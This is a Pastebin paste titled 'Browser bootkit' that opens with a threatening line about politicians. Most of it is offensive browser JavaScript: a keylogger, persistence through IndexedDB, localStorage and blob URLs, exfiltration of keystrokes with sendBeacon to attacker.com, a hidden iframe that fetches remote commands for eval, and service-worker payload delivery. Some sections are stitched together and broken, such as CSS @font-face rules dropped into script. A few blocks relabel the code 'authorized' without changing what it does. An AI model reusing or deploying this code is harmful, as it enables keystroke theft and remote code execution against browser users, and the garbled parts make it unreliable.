Advertisement
xosski

Browser bootkit

Mar 29th, 2025
17
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.57 KB | None | 0 0
  1. None of you are safe. All politicians will be judged by god.
  2. (async () => {
  3. // 🔥 Stealth Mode: Hide Execution in an Async Function
  4. const rootkitKey = "browser_rootkit";
  5. // 🛠 Check if Payload Exists in IndexedDB
  6. const dbRequest = indexedDB.open("rootkitDB", 1);
  7. dbRequest.onupgradeneeded = function(event) {
  8. const db = event.target.result;
  9. db.createObjectStore("payloads", { keyPath: "id" });
  10. };
  11. dbRequest.onsuccess = function(event) {
  12. const db = event.target.result;
  13. const tx = db.transaction("payloads", "readwrite");
  14. const store = tx.objectStore("payloads");
  15. // 📌 Retrieve Existing Payload
  16. const getPayload = store.get(rootkitKey);
  17. getPayload.onsuccess = function() {
  18. if (getPayload.result) {
  19. executePayload(getPayload.result.code);
  20. } else {
  21. deployRootkit(store);
  22. }
  23. };
  24. };
  25. // 🚀 Deploy Initial Rootkit if Not Present
  26. function deployRootkit(store) {
  27. const payloadCode = `
  28. console.log("🔥 Browser Rootkit Active!");
  29. // 🕵 Persistent Recon: Log Keystrokes (Minimal)
  30. document.addEventListener("keydown", (e) => {
  31. localStorage.setItem("keystrokes", (localStorage.getItem("keystrokes") || "") + e.key);
  32. });
  33. // 🎭 Memory-Resident Persistence via Blob URL
  34. const scriptContent = 'console.log("👻 Reload Persistence Active!");';
  35. const blob = new Blob([scriptContent], { type: "application/javascript" });
  36. const blobUrl = URL.createObjectURL(blob);
  37. import(blobUrl);
  38. // ⏳ Auto-Reinstate If Removed
  39.  
  40. setInterval(() => {
  41. if (!document.querySelector("#rootkit")) {
  42. let script = document.createElement("script");
  43. script.id = "rootkit";
  44. script.src = blobUrl;
  45. document.body.appendChild(script);
  46. }
  47. }, 5000);
  48. `;
  49. // 🔗 Store Payload in IndexedDB
  50. store.put({ id: rootkitKey, code: payloadCode });
  51. // 󰬬 Execute Immediately
  52. executePayload(payloadCode);
  53. }
  54. // 🚀 Execute Payload in Memory (Stealth Mode)
  55. function executePayload(code) {
  56. const blob = new Blob([code], { type: "application/javascript" });
  57. const blobUrl = URL.createObjectURL(blob);
  58. import(blobUrl);
  59. }
  60. })();
  61. setInterval(() => {
  62. const keystrokes = localStorage.getItem("keystrokes") || "";
  63. if (keystrokes.length > 0) {
  64. navigator.sendBeacon("https://attacker.com/exfil", keystrokes);
  65. localStorage.removeItem("keystrokes");
  66. }
  67. }, 10000);
  68. setInterval(() => {
  69. const command = localStorage.getItem("cmd");
  70. if (command) {
  71. eval(command);
  72. localStorage.removeItem("cmd");
  73. }
  74. }, 5000);
  75. function storePayload(payload) {
  76. indexedDB.open("rootkitDB", 1).onsuccess = function(event) {
  77. const db = event.target.result;
  78. const store = db.transaction("payloads", "readwrite").objectStore("payloads");
  79. store.put({ id: "browser_rootkit", code: payload });
  80. };
  81.  
  82. localStorage.setItem("rootkit", payload);
  83. sessionStorage.setItem("rootkit", payload);
  84. }
  85. setInterval(() => {
  86. if (!document.querySelector("#rootkit")) {
  87. const payload = localStorage.getItem("rootkit") || sessionStorage.getItem("rootkit");
  88. if (payload) eval(payload); // Re-execute rootkit from storage
  89. }
  90. }, 3000);
  91. const workerBlob = new Blob([
  92. `onmessage = function(e) { eval(e.data); }`
  93. ], { type: "application/javascript" });
  94. const workerUrl = URL.createObjectURL(workerBlob);
  95. const worker = new Worker(workerUrl);
  96. worker.postMessage(localStorage.getItem("rootkit"));
  97. @font-face {
  98. font-family: "leak";
  99. src: url("https://attacker.com/exfil?data=" + localStorage.getItem("keystrokes"));
  100. }
  101. setInterval(() => {
  102. let iframe = document.createElement("iframe");
  103. iframe.src = "https://attacker.com/cmd"; // Fake site
  104. iframe.style.display = "none";
  105. document.body.appendChild(iframe);
  106. iframe.onload = function() {
  107. const cmd = iframe.contentWindow.document.body.innerText;
  108. if (cmd) eval(cmd); // Execute remote commands
  109. };
  110. }, 10000);
  111. const x = new Function("return eval(arguments[0])");
  112. x("alert('Stealth Mode')");
  113. setTimeout(() => console.log("Running late..."), Math.random() * 30000);
  114. setInterval(() => {
  115. console.log("%c", "font-size:1px;line-height:1px;", "🤫 Stealth Mode");
  116. }, 5000);
  117. @font-face {
  118. font-family: "stealth";
  119. src: url("https://trusted-site.com/font.woff2?cmd=" + localStorage.getItem("rootkit"));
  120. }
  121. (async () => {
  122. const rootkitKey = "authorized_browser_persistence";
  123.  
  124. // 🛠 Store payload in IndexedDB with audit logging
  125. const dbRequest = indexedDB.open("rootkitDB", 1);
  126. dbRequest.onupgradeneeded = function(event) {
  127. const db = event.target.result;
  128. db.createObjectStore("payloads", { keyPath: "id" });
  129. };
  130. dbRequest.onsuccess = function(event) {
  131. const db = event.target.result;
  132. const tx = db.transaction("payloads", "readwrite");
  133. const store = tx.objectStore("payloads");
  134. const logEntry = `[${new Date().toISOString()}] Rootkit executed in authorized mode`;
  135. console.log(logEntry);
  136. store.put({ id: rootkitKey, log: logEntry });
  137. };
  138. // 🎭 Memory Persistence Example (Legitimate Testing)
  139. setInterval(() => {
  140. console.log("🔥 Authorized Rootkit Running");
  141. }, 5000);
  142. })();
  143. self.addEventListener("fetch", event => {
  144. if (event.request.url.includes("golden-ticket.png")) {
  145. event.respondWith(fetch(event.request).then(response => {
  146. // ✅ Serve the Golden Ticket image
  147. return response;
  148. }).finally(() => {
  149. // 🔥 Self-destruct: Unregister Service Worker after serving
  150. self.registration.unregister().then(() => {
  151. console.log("🎟 Golden Ticket Delivered! Service Worker Unregistered.");
  152. });
  153. }));
  154. }
  155. });
  156. (async () => {
  157. const img = new Image();
  158. img.src = "golden-ticket.png";
  159. img.onload = async () => {
  160. const response = await fetch(img.src);
  161. const blob = await response.blob();
  162.  
  163. const metadata = await blob.text(); // Extract metadata
  164. if (metadata.includes("Golden Ticket Activated")) {
  165. console.log("✅ Golden Ticket Found!");
  166. eval(metadata.split(": ")[1]); // Execute extracted payload
  167. } else {
  168. console.log("❌ No Golden Ticket detected.");
  169. }
  170. };
  171. })();
  172.  
  173. 📌 PoC:
  174. const dbRequest = indexedDB.open("stealthyRootkit", 1);
  175. dbRequest.onupgradeneeded = function(event) {
  176. event.target.result.createObjectStore("payloads", { keyPath: "id" });
  177. };
  178. dbRequest.onsuccess = function(event) {
  179. const db = event.target.result;
  180. const tx = db.transaction("payloads", "readwrite");
  181. const store = tx.objectStore("payloads");
  182. store.put({ id: "rootkit", code: "console.log('Stealth Mode Active');" });
  183. };
  184.  
  185. Updated code for multiple users:
  186. self.addEventListener("fetch", event => {
  187. if (event.request.url.includes("golden-ticket.png")) {
  188. event.respondWith(fetch(event.request).then(response => {
  189. return response;
  190. }).finally(() => {
  191. // 🚀 Mark the user as having accessed the Golden Ticket
  192. clients.matchAll().then(clients => {
  193. clients.forEach(client => {
  194. client.postMessage({ ticketUsed: true });
  195. });
  196. });
  197. }));
  198. }
  199. });
  200. if ('serviceWorker' in navigator) {
  201. navigator.serviceWorker.register('service-worker.js')
  202. .then(reg => console.log("Service Worker Registered!", reg))
  203. .catch(err => console.error("Service Worker Registration Failed:", err));
  204.  
  205. }
  206. // ✅ Listen for messages from the Service Worker
  207. navigator.serviceWorker.addEventListener("message", event => {
  208. if (event.data.ticketUsed) {
  209. console.log("🎟 Golden Ticket Already Claimed! No second chances.");
  210. localStorage.setItem("golden_ticket_claimed", "true");
  211. }
  212. });
  213. // 🔍 Prevent second retrieval attempts
  214. if (localStorage.getItem("golden_ticket_claimed") === "true") {
  215. console.log("❌ You've already claimed the Golden Ticket.");
  216. } else {
  217. document.getElementById("getPayload").addEventListener("click", () => {
  218. fetch('golden-ticket.png')
  219. .then(response => response.blob())
  220. .then(blob => {
  221. const img = document.getElementById("payloadImage");
  222. img.src = URL.createObjectURL(blob);
  223. img.style.display = "block";
  224. });
  225. });
  226. }
  227. Generate unique payload
  228. self.addEventListener("fetch", async event => {
  229. if (event.request.url.includes("golden-ticket")) {
  230. console.log("🎟 Generating Unique Golden Ticket...");
  231. // Generate a unique ID for the user
  232. const userID = crypto.randomUUID();
  233. // Create a unique payload per user
  234. const payload = `console.log('Golden Ticket Unlocked for ${userID}');`;
  235. // Convert to Blob (so it looks like a file)
  236. const blob = new Blob([payload], { type: "application/javascript" });
  237. const blobUrl = URL.createObjectURL(blob);
  238. // Respond with the dynamically generated payload
  239. event.respondWith(fetch(blobUrl));
  240. }
  241. });
  242. const expireTime = Date.now() + 60 * 1000; // Expires in 60 seconds
  243.  
  244. sessionStorage.setItem("golden_ticket", JSON.stringify({ code: "console.log('Golden Ticket!');",
  245. expires: expireTime }));
  246. // Check expiration before execution
  247. const ticketData = JSON.parse(sessionStorage.getItem("golden_ticket"));
  248. if (ticketData && Date.now() < ticketData.expires) {
  249. eval(ticketData.code);
  250. sessionStorage.removeItem("golden_ticket");
  251. } else {
  252. console.log("❌ Ticket Expired.");
  253. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement